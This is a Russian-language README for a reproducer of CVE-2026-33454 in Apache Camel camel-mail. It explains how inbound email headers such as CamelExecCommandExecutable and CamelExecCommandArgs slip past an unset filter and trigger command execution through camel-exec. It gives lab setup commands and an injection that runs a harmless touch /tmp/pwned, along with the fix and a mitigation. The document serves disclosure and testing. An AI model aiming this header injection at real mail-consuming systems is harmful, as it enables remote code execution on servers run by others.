
Reproducer for CVE-2026-33454: Apache Camel camel-mail header injection to RCE via camel-exec
Этот проект демонстрирует уязвимость внедрения заголовков сообщений Camel в компоненте camel-mail Apache Camel, отслеживаемую как CVE-2026-33454. Злоумышленник, который может доставить электронное письмо в почтовый ящик, отслеживаемый потребителем почты Camel, может внедрить управляющие заголовки Camel* в Exchange, добившись удаленного выполнения кода, когда маршрут перенаправляется к чувствительному к заголовкам производителю, такому как camel-exec.
Консультация: https://camel.apache.org/security/CVE-2026-33454.html
| Свойство | Значение |
|---|---|
| Компонент | camel-mail |
| Затронутый класс | org.apache.camel.component.mail.MailHeaderFilterStrategy (+ MailBinding.extractHeadersFromMail) |
| Коренная причина | Стратегия фильтрации настраивает только направление OUT (setOutFilterStartsWith) и НЕ направление IN, поэтому входящие MIME-заголовки не фильтруются |
| CWE | CWE-20: Некорректная проверка входных данных (внедрение заголовков сообщений Camel) |
| Воздействие | Удаленное выполнение кода (через чувствительные к заголовкам производители, например, camel-exec) |
| Затронутые версии | От 3.0.0 до 4.14.6 и от 4.15.0 до 4.18.1 |
| Исправленные версии | 4.14.6, 4.18.1, 4.19.0 |
| JIRA | CAMEL-23222 |
| Автор отчета | Hyunwoo Kim (@v4bel) |
MailHeaderFilterStrategy расширяет DefaultHeaderFilterStrategy. В затронутых версиях его конструктор настраивает только исходящий фильтр и никогда не устанавливает входящий фильтр:
// MailHeaderFilterStrategy - затронутая версия (фильтруется только направление OUT)
public MailHeaderFilterStrategy() {
setOutFilterStartsWith(CAMEL_FILTER_STARTS_WITH); // только OUT
// нет setInFilterStartsWith(...) -> входящие заголовки Camel* НЕ фильтруются
}
Когда Camel потребляет почту (например, from("imap://...") или from("pop3://...")),
MailBinding.extractHeadersFromMail() копирует каждый MIME-заголовок в заголовки Exchange In, проверяемые с помощью
headerFilterStrategy.applyFilterToExternalHeaders(...). Поскольку входящий фильтр никогда не был настроен, MIME-заголовки с префиксом Camel* проходят напрямую:
// MailBinding.extractHeadersFromMail() - входящий фильтр не настроен, поэтому Camel* проходит
Enumeration<?> names = mailMessage.getAllHeaders();
...
boolean keep = !headerFilterStrategy.applyFilterToExternalHeaders(headerName, value, exchange);
if (keep) { answer.put(headerName, value); }
Поэтому злоумышленник, который может отправить письмо на отслеживаемый почтовый ящик, может установить произвольные управляющие заголовки Camel*.
Когда маршрут перенаправляется к чувствительному к заголовкам производителю, такому как camel-exec, заголовки
CamelExecCommandExecutable / CamelExecCommandArgs переопределяют команду (по умолчанию они учитываются в затронутых версиях) → выполнение произвольной OS-команды.
from("imap://127.0.0.1:3143?username=victim&password=secret&delete=true&unseen=true")
.to("exec:echo?args=hello") // фиксированная безвредная команда
.convertBodyTo(String.class);
Контейнер GreenMail предоставляет SMTP (3025) и IMAP (3143) с одним почтовым ящиком
(логин victim, пароль secret, адрес victim@localhost):
docker compose up -d
# или:
docker run -d --name greenmail-cve -p 3025:3025 -p 3143:3143 \
-e GREENMAIL_OPTS='-Dgreenmail.setup.test.all -Dgreenmail.users=victim:secret@localhost -Dgreenmail.hostname=0.0.0.0 -Dgreenmail.auth.disabled -Dgreenmail.verbose' \
greenmail/standalone:2.1.0
mvn clean package -DskipTests
mvn spring-boot:run
Запускает IMAP-маршрут жертвы и вспомогательный REST-контроллер на порту 8080.
curl http://localhost:8080/exploit/normal
Потребитель подхватывает его и выполняет echo hello.
# безвредное доказательство по умолчанию: touch /tmp/pwned
curl http://localhost:8080/exploit/attack
# или выберите исполняемый файл/аргументы:
curl "http://localhost:8080/exploit/attack?exe=/usr/bin/touch&args=/tmp/owned-by-mail"
Это доставляет письмо, MIME-заголовки которого включают:
CamelExecCommandExecutable: /usr/bin/touch
CamelExecCommandArgs: /tmp/pwned
# подождите ~2с для цикла опроса IMAP, затем:
ls -la /tmp/pwned
Если /tmp/pwned существует, внедренный MIME-заголовок переопределил команду exec → RCE.
docker compose down # или: docker rm -f greenmail-cve
Для внедрения необходим только чувствительный к заголовкам производитель ниже по потоку. В консультации отмечены camel-bean, camel-exec и camel-sql; в более широком смысле:
CamelExecCommandExecutable / CamelExecCommandArgs → выполнение OS-командыCamelFileName → произвольная запись файла / path traversalCamelBeanMethodName → вызов другого методаimap://, imaps://, pop3://, ...).removeHeaders("Camel*").Злоумышленнику нужно только иметь возможность отправить письмо на отслеживаемый почтовый ящик.
Исправление (CAMEL-23222) настраивает также входящий фильтр:
public MailHeaderFilterStrategy() {
setOutFilterStartsWith(CAMEL_FILTER_STARTS_WITH);
String[] inFilter = Arrays.copyOf(CAMEL_FILTER_STARTS_WITH, CAMEL_FILTER_STARTS_WITH.length + 2);
inFilter[CAMEL_FILTER_STARTS_WITH.length] = "mail.smtp.";
inFilter[CAMEL_FILTER_STARTS_WITH.length + 1] = "mail.smtps.";
setInFilterStartsWith(inFilter); // теперь также фильтруется входящее направление
}
До обновления:
.removeHeaders("Camel*") сразу после from("imap:...").CVE-2026-33454/
├── pom.xml
├── docker-compose.yml # GreenMail почтовый сервер (SMTP 3025 / IMAP 3143)
├── README.md
└── src/main/
├── java/com/example/
│ ├── Application.java # Точка входа Spring Boot
│ ├── MailExecRoute.java # уязвимый маршрут жертвы (imap -> exec)
│ └── ExploitController.java # атакующий: доставляет вредоносное письмо через SMTP
└── resources/
└── application.properties
Этот репродуктор предоставлен только для исследований в области безопасности и авторизованного тестирования для публично раскрытой и исправленной уязвимости. Не используйте его против систем без явного разрешения.